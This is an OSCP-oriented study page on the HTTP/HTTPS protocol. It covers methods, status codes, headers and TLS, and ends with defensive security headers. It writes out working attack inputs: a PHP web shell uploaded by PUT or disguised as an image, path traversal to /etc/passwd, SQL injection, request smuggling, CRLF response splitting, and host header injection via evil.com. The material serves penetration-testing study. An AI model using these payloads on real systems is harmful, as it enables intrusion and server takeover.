Domain 2Web App AttacksCORE

HTTP/HTTPS Protocol

Deep dive into HTTP/HTTPS protocol mechanics, request/response structures, methods, status codes, headers, and exploitation techniques critical for web penetration testing.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#http#https#protocol#web-fundamentals#oscp

HTTP/HTTPS Protocol

Overview

HTTP (Hypertext Transfer Protocol) is the foundation of data communication on the web. As an OSCP candidate, you will interact with HTTP constantly — every web exploit, every injection payload, every authentication bypass operates at the HTTP protocol level. Mastering HTTP is not optional; it is the single most important protocol skill for the OSCP exam.

Protocol Fundamentals

HTTP Versions

Version Year Key Features Security
HTTP/0.9 1991 GET only, no headers Plaintext
HTTP/1.0 1996 Methods, headers, status codes Plaintext
HTTP/1.1 1997 Persistent connections, pipelining, chunked encoding Plaintext
HTTP/2 2015 Multiplexing, header compression, server push Usually over TLS
HTTP/3 2022 QUIC protocol (UDP-based), 0-RTT Built-in encryption

HTTP vs HTTPS

Aspect HTTP HTTPS
Port 80 443
Encryption None TLS/SSL
Interceptable Yes, in plaintext No (without TLS termination)
Burp Interception Direct Requires CA certificate
MITM Risk High Low (if properly configured)

The Request-Response Cycle

CLIENT                              SERVER
  │                                   │
  │   1. TCP Three-Way Handshake      │
  │   SYN ──────────────────────────> │
  │   SYN-ACK <────────────────────── │
  │   ACK ──────────────────────────> │
  │                                   │
  │   2. HTTP Request                 │
  │   GET /index.html HTTP/1.1 ─────> │
  │   Host: target.com               │
  │   User-Agent: Mozilla/5.0        │
  │                                   │
  │   3. HTTP Response                │
  │   HTTP/1.1 200 OK <────────────── │
  │   Content-Type: text/html        │
  │   Content-Length: 1234           │
  │   <html>...</html>               │
  │                                   │
  │   4. TCP Connection Close         │
  │   FIN ──────────────────────────> │

HTTP Request Structure

Request Line

METHOD PATH HTTP/VERSION
  • METHOD: HTTP verb (GET, POST, PUT, DELETE, etc.)
  • PATH: Resource identifier (URL path, query string)
  • VERSION: Protocol version (HTTP/1.0, HTTP/1.1, HTTP/2)

Request Headers

GET /api/users?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: sessionid=abc123; PHPSESSID=xyz789
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cache-Control: max-age=0

Request Body (POST/PUT/PATCH)

POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

username=admin&password=password123

Common Content Types:

  • application/x-www-form-urlencoded: Standard form data
  • multipart/form-data: File uploads
  • application/json: JSON API payloads
  • text/xml: SOAP/XML payloads

HTTP Response Structure

Status Line

HTTP/VERSION STATUS_CODE REASON_PHRASE

Response Headers

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
Set-Cookie: sessionid=xyz789; Path=/; HttpOnly; Secure; SameSite=Strict
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains

Response Body

The actual content: HTML, JSON, XML, binary data, etc.

HTTP Methods Deep Dive

GET

Purpose: Retrieve a resource.

OSCP Attack Vectors:

  • Parameter injection (SQLi, XSS, command injection via query parameters).
  • Path traversal (?file=../../../etc/passwd).
  • Open redirect (?redirect=http://evil.com).
# Example: SQL injection via GET parameter
curl "http://target.com/products?id=1%27%20OR%201=1--"

# Example: Path traversal
curl "http://target.com/download?file=../../../etc/passwd"

POST

Purpose: Submit data to be processed.

OSCP Attack Vectors:

  • Command injection via form fields.
  • File upload exploits.
  • CSRF (Cross-Site Request Forgery).
  • Authentication bypass.
# Example: POST with form data
curl -X POST -d "username=admin&password=test" http://target.com/login

# Example: POST with JSON
curl -X POST -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}' \
  http://target.com/api/login

PUT

Purpose: Update or create a resource.

OSCP Attack Vectors:

  • Arbitrary file upload/overwrite.
  • Unauthorized data modification.
# Example: Upload a file via PUT
curl -X PUT --data "<?php system(\$_GET['cmd']); ?>" \
  http://target.com/uploads/shell.php

DELETE

Purpose: Remove a resource.

OSCP Attack Vectors:

  • Unauthorized data deletion.
  • IDOR (Insecure Direct Object References).

PATCH

Purpose: Partially update a resource.

OSCP Attack Vectors:

  • Mass assignment (adding extra fields to modify privileges).
  • Partial data manipulation.
# Example: Mass assignment via PATCH
curl -X PATCH -H "Content-Type: application/json" \
  -d '{"username":"hacker","role":"admin"}' \
  http://target.com/api/users/1

OPTIONS

Purpose: Discover allowed methods.

OSCP Relevance:

  • Enumerate available HTTP methods.
  • Test CORS preflight requests.
# Check allowed methods
curl -X OPTIONS http://target.com/api/users
# Response may include: Allow: GET, POST, PUT, DELETE, OPTIONS

Purpose: Get headers only (no body).

OSCP Relevance:

  • Server fingerprinting.
  • Quick resource existence checks.
# Server fingerprinting
curl -I http://target.com
# Look for: Server, X-Powered-By, X-AspNet-Version headers

TRACE

Purpose: Echo the request back.

OSCP Attack Vector: Cross-Site Tracing (XST) — steal cookies.

Defense: Disable TRACE method on production servers.

HTTP Status Codes

2xx Success

Code Meaning OSCP Relevance
200 OK Normal response — check for vulnerabilities
201 Created POST/PUT succeeded — verify authorization
204 No Content DELETE succeeded — verify authorization

3xx Redirection

Code Meaning OSCP Relevance
301 Moved Permanently Check redirect destination for open redirects
302 Found Temporary redirect — test for open redirects
303 See Other POST-redirect-GET pattern
304 Not Modified Cache behavior testing
307 Temporary Redirect Preserves HTTP method during redirect

4xx Client Error

Code Meaning OSCP Relevance
400 Bad Request Input validation testing
401 Unauthorized Authentication testing, credential brute-force
403 Forbidden Authorization testing, IDOR
404 Not Found Directory/file enumeration
405 Method Not Allowed Discover hidden methods
408 Request Timeout DoS testing
413 Payload Too Large File upload size limits
429 Too Many Requests Rate limit testing

5xx Server Error

Code Meaning OSCP Relevance
500 Internal Server Error Error-based SQLi, stack trace leakage
502 Bad Gateway Backend service issues
503 Service Unavailable DoS confirmation
504 Gateway Timeout Backend timeout exploitation

Critical HTTP Headers

Request Headers

Header Purpose Attack Relevance
Host Target hostname Host header injection, password reset poisoning
User-Agent Client identification Fingerprinting, WAF evasion
Referer Source page Information leakage, OS command injection
Cookie Session data Session hijacking, CSRF
Authorization Credentials Token theft, replay attacks
Content-Type Body format MIME confusion, XXE
X-Forwarded-For Client IP IP spoofing, WAF bypass
X-Forwarded-Host Original host Host header injection
Accept Expected response type Content-type manipulation
Accept-Encoding Compression type BREACH attack (gzip)

Response Headers

Header Purpose Security Relevance
Server Server software/version Information disclosure
X-Powered-By Technology stack Information disclosure
Set-Cookie Session management Cookie flags (HttpOnly, Secure, SameSite)
X-Frame-Options Clickjacking protection Missing = clickjacking risk
Content-Security-Policy Resource loading policy Missing = XSS risk
Strict-Transport-Security Force HTTPS Missing = downgrade attacks
X-Content-Type-Options MIME sniffing prevention Missing = MIME confusion
X-XSS-Protection XSS filter Deprecated, rely on CSP instead
Cache-Control Caching behavior Sensitive data caching risks

HTTP Exploitation Techniques

1. HTTP Parameter Pollution (HPP)

Concept: Duplicate parameters to bypass filters or change behavior.

# Normal request
GET /search?q=products

# HPP attack
GET /search?q=products&q=<script>alert(1)</script>

How servers handle duplicates:

  • Some take the first value.
  • Some take the last value.
  • Some concatenate values.
  • Some reject the request.

2. HTTP Request Smuggling

Concept: Exploit differences in how front-end and back-end servers parse HTTP requests.

CL.TE Smuggling (Content-Length vs Transfer-Encoding):

# Front-end sees Content-Length (short body)
# Back-end sees Transfer-Encoding (long body with embedded request)
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

0

G
ET /admin HTTP/1.1
Host: target.com

3. HTTP Response Splitting

Concept: Inject CRLF (%0d%0a) to split the HTTP response and inject headers.

# Inject new headers
GET /search?q=test%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: target.com

Attacks enabled:

  • Cache poisoning.
  • XSS via injected headers.
  • Cookie manipulation.

4. Host Header Injection

Concept: Manipulate the Host header to trick the server.

POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded

email=victim@example.com

Impact: Password reset link sent to attacker-controlled domain.

5. Content-Type Manipulation

Concept: Change the Content-Type to bypass input validation.

# Upload a PHP file disguised as an image
POST /upload HTTP/1.1
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="shell.php"

<?php system($_GET['cmd']); ?>

6. HTTP Method Override

Concept: Use the X-HTTP-Method-Override header to change the HTTP method.

POST /api/users/1 HTTP/1.1
Host: target.com
X-HTTP-Method-Override: DELETE

Use case: Bypass WAFs that only filter GET/POST.

HTTPS and TLS

TLS Handshake

CLIENT                              SERVER
  │                                   │
  │   ClientHello                     │
  │   (supported cipher suites) ─────>│
  │                                   │
  │   ServerHello                     │
  │   Certificate                     │
  │   ServerKeyExchange               │
  │   ServerHelloDone <───────────────│
  │                                   │
  │   ClientKeyExchange               │
  │   ChangeCipherSpec ──────────────>│
  │   Finished                        │
  │                                   │
  │   ChangeCipherSpec <──────────────│
  │   Finished                        │
  │                                   │
  │   <-- Encrypted Application Data -->│

TLS Versions

Version Status Security
SSL 2.0 Deprecated Insecure (POODLE)
SSL 3.0 Deprecated Insecure (POODLE)
TLS 1.0 Deprecated Weak
TLS 1.1 Deprecated Weak
TLS 1.2 Current Secure (with strong ciphers)
TLS 1.3 Latest Most secure

Burp Suite and HTTPS

To intercept HTTPS traffic:

  1. Install Burp CA certificate in your browser.
  2. Configure browser proxy to 127.0.0.1:8080.
  3. Burp will dynamically generate certificates for intercepted domains.

For mobile/other clients:

  • Import Burp CA certificate into the device’s trusted store.
  • For Android: Settings > Security > Install from storage.
  • For iOS: Settings > General > Profile > Burp CA.

Practical Tools and Commands

curl Commands

# Basic GET
curl http://target.com

# Verbose output (show headers)
curl -v http://target.com

# HEAD request (headers only)
curl -I http://target.com

# POST with form data
curl -X POST -d "username=admin&password=test" http://target.com/login

# POST with JSON
curl -X POST -H "Content-Type: application/json" \
  -d '{"key":"value"}' http://target.com/api

# Custom headers
curl -H "Authorization: Bearer token123" http://target.com/api

# Follow redirects
curl -L http://target.com

# Save response to file
curl -o response.html http://target.com

# Save cookies
curl -c cookies.txt http://target.com

# Use cookies
curl -b cookies.txt http://target.com

# Ignore SSL errors
curl -k https://target.com

Burp Suite Essentials

Feature Use
Proxy Intercept and modify requests
Repeater Send and modify individual requests
Intruder Automated attacks (brute-force, fuzzing)
Decoder/Encoder Encode/decode data (URL, Base64, HTML)
Comparer Compare two responses
Sequencer Analyze session token randomness
Logger Log all intercepted traffic

Defensive Strategies

HTTP Security Headers Checklist

# Essential security headers
Header set X-Content-Type-Options "nosniff"
Header set X-Frame-Options "DENY"
Header set X-XSS-Protection "0"
Header set Content-Security-Policy "default-src 'self'"
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header set Referrer-Policy "strict-origin-when-cross-origin"

Best Practices

  1. Enforce HTTPS: Use HSTS with a long max-age.
  2. Hide server information: Remove Server and X-Powered-By headers.
  3. Use secure cookie flags: HttpOnly, Secure, SameSite=Strict.
  4. Implement CSP: Restrict resource loading to trusted origins.
  5. Disable unnecessary methods: Block TRACE, OPTIONS, DELETE.
  6. Validate all input: Server-side validation for all parameters.
  7. Use TLS 1.2+: Disable SSL 3.0, TLS 1.0, TLS 1.1.
  8. Implement rate limiting: Prevent brute-force and DoS attacks.

Key Takeaways for OSCP

  1. HTTP is your primary attack vector. Every web exploit manipulates HTTP requests and responses.

  2. Master Burp Suite. It is the single most important tool for OSCP web assessments.

  3. Status codes tell stories. 401 means auth issue, 403 means authorization issue, 500 means server error — each guides your next step.

  4. Headers leak information. Server, X-Powered-By, and X-AspNet-Version reveal the technology stack.

  5. HTTP methods matter. PUT and DELETE may be enabled when you expect only GET and POST.

  6. HTTPS requires Burp CA. Always install the Burp certificate to intercept HTTPS traffic.

  7. curl is your CLI weapon. Quick testing without opening a browser.

Exam Tips

  • Always check the Server and X-Powered-By headers first — they tell you what to exploit.
  • Use Burp Repeater to methodically test each parameter for injection.
  • Try changing HTTP methods (GET to POST, POST to PUT) to find hidden functionality.
  • Check for 403 Forbidden pages — they may be bypassable with method changes or parameter manipulation.
  • Look at error messages carefully — they often contain stack traces, file paths, and internal IPs.
  • Use curl for quick tests when Burp is too slow or when scripting attacks.